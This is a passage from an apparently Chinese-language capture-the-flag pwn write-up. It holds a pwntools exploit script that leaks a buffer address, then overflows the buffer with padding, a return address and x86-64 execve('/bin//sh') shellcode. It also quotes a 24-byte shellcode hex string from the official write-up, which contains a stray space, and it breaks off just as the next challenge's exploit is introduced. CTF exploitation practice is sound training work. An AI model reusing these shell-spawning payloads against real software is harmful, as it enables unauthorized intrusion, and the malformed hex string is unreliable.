io.recvuntil("[0x") buf = int(io.recv(12),16) leak("buf",buf) shellcode = ''' push rax; xor rdx, rdx; xor rsi, rsi; mov rbx, 0x68732F2F6E69622F; push rbx; push rsp; pop rdi; mov al, 0x3B; syscall; ''' shellcode = asm(shellcode) payload = cyclic(0x18) + p64(buf + 0x20) + shellcode sl(payload)
这里在给一下官方wp的shellcode
"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x5 2\x57\x54\x5e\x0f\x05" 一共24字节
pwn63 和上面那个差不多,就是比上面这个又少了一个字节可输入。exp如下: